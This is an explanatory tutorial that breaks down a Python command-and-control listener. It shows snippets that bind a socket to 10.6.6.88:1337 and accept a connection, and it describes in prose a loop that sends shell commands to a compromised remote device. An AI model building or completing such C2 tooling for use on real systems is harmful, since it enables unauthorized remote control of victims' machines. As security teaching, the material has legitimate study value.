# Example of Creating a C2 Using Python Let's create a Python script that sets up a listener to communicate with a remote device. The listener waits for a connection, then allows the user to send commands to the remote device. 🤖 Checkout [this prompt in ChatGPT](https://chat.openai.com/share/a8399b03-9d33-444a-bce3-e7995d351316) Here's a breakdown of the code: 1. **Importing Required Module**: ```python import socket ``` The script imports the `socket` module, which provides a way for Python to interact with network sockets. 2. **Identifier Constant**: ```python IDENTIFIER = "" ``` This string serves as an identifier to determine the end of a command result. 3. **Main Script Execution**: The script uses an `if __name__ == "__main__":` block to ensure that the code inside it only runs if the script is executed directly (and not imported as a module). 4. **Setting Up the Socket**: ```python hacker_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) ``` A new TCP socket (`SOCK_STREAM`) is created for IPv4 communication (`AF_INET`). 5. **Socket Address Configuration**: ```python IP = "10.6.6.88" Port = 1337 socket_address = (IP, Port) ``` The IP address and port for the listener are defined. 6. **Binding and Listening**: ```python hacker_socket.bind(socket_address) hacker_socket.listen(5) print("listening for incoming connection requests") ``` The socket is bound to the specified IP address and port, and it starts listening for incoming connections with a backlog of 5. 7. **Accepting Connections**: ```python hacker_socket, client_address = hacker_socket.accept() print("connection established with ", client_address) ``` The script waits for a connection. When one is established, it prints the client's address. 8. **Command Loop**: The main loop of the script lets the user input commands to send to the connected device: - If the command is "stop", the socket closes and the script ends. - If the command is empty, the loop continues without sending anything. - If the command starts with "cd", it sends the command and moves to the next iteration. - For other commands, it sends the command and waits for a response. The response is received in chunks and the loop continues until the `IDENTIFIER` is found. 9. **Exception Handling**: If any exception occurs during command execution or communication, the script prints "Exception occurred" and closes the socket.
